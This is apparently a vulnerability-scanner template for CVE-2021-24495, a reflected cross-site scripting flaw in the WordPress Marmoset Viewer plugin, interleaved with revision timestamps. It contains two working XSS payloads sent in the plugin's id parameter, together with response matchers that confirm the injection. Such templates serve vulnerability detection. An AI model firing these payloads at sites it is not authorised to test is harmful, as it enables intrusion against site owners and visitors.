2021-07-06 06:37:53 +00:00
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id: CVE-2021-24495
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2021-06-30 07:12:12 +00:00
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info:
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2021-07-06 06:37:53 +00:00
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name: Wordpress Plugin Marmoset Viewer XSS
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2021-06-30 07:12:12 +00:00
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author: johnjhacking
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severity: medium
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2021-07-06 06:37:53 +00:00
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tags: cve,cve2021,wp-plugin,wordpress,xss
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2021-07-06 06:42:09 +00:00
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reference: |
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- https://johnjhacking.com/blog/cve-2021-24495-improper-neutralization-of-input-during-web-page-generation-on-id-parameter-in-wordpress-marmoset-viewer-plugin-versions-1.9.3-leads-to-reflected-cross-site-scripting/
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- https://wordpress.org/plugins/marmoset-viewer/#developers
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2021-06-30 07:12:12 +00:00
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requests:
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- method: GET
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path:
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2021-06-30 12:54:34 +00:00
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- "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=http://</script><svg/onload=alert(%27{{randstr}}%27)>"
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2021-07-06 00:39:25 +00:00
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- "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/{{randstr}}/);marmoset.embed(%27a"
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2021-07-06 06:37:53 +00:00
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2021-06-30 07:12:12 +00:00
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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2021-07-06 06:33:51 +00:00
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2021-06-30 07:12:12 +00:00
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- type: word
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words:
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2021-06-30 12:54:34 +00:00
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- "</script><svg/onload=alert('{{randstr}}')>"
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2021-07-06 00:39:25 +00:00
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- "alert(/{{randstr}}/)"
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2021-06-30 07:12:12 +00:00
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part: body
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2021-07-06 06:33:51 +00:00
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condition: or
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- type: word
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words:
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- "Marmoset Viewer"
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